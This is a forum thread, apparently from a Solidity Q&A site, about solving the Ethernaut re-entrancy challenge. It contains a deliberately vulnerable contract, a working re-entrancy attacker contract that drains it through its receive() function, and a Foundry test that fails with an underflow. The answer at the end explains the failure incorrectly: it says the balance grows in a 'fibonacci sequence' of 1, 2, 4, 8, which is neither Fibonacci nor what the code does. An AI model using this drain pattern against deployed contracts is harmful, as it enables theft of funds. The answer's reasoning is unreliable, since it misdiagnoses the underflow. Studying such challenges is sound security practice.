What the Heck im Doing Wrong? Openzeppelin Ethernaut `Re-entrancy` #10

Security Ethernaut
1

Now i made couple of Changes to the original Reentrance Contract that imports SafeMath and uses 0.6.0 solidity version.

here's the changes i made to Reentrance Contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

contract Reentrance {
    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] += msg.value;
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    receive() external payable {}
}

and this is the Attacker Contract:

contract ReentrancyAttacker {

    Reentrance reentrance;
    address private owner;

    constructor(Reentrance _reentrance) {
        reentrance = _reentrance;
        owner = msg.sender;
    }

    modifier onlyOwner {
        if (msg.sender != owner) {
            revert("You're Not the Owner!");
        }
        _;
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "send atleast 1 ETH");
        reentrance.donate{value: 1 ether }(address(this));
        uint256 _amount = reentrance.balanceOf(address(this));
        reentrance.withdraw(_amount);
    }

    function withdraw() external onlyOwner {
        uint256 contractBalance = address(this).balance;
        payable(owner).transfer(contractBalance);
    }

    function _stealMoney() internal {
        uint256 _amount = reentrance.balanceOf(address(this));
        if (address(reentrance).balance >= _amount) {
            reentrance.withdraw(_amount);
        } 
    }

    receive() external payable {
        _stealMoney();
    }

}

And also here's the Test for the Reentrancy:

    function testReentrancyAttack() external {
        vm.deal(address(reentrance), 10 ether);
        uint256 reentanceBalanceBeforeReentrancyAttack = address(reentrance).balance;

        ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(reentrance);
        reentrancyAttacker.attack{value: 1 ether}();

        assert(address(reentrancyAttacker).balance > reentanceBalanceBeforeReentrancyAttack);
    }

when i run:

forge test --match-test testReentrancyAttack -vvvv

and i get a Revert because of underflow or overflow:

[Revert] panic: arithmetic underflow or overflow (0x11)

i Really Dont know What am i Doing Wrong, even asked the Ai, doesn't know what's the issue.

2

The receive() function calls the _stealMoney() consecutively. Within the function reentrance.withdraw(_amount); is called, which will always increment the attack contract balance.
Since you call the function uint256 _amount = reentrance.balanceOf(address(this)); using the balance of contract, the withdrawal amount increments using fibonanci sequence, 1 to 2,to 4, to 8 until it becomes 16.
Going back to the Reentrance contract, there is only 10 ether. You cannot withdraw 16 ether within the contract:

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount; // @audit
        }
    }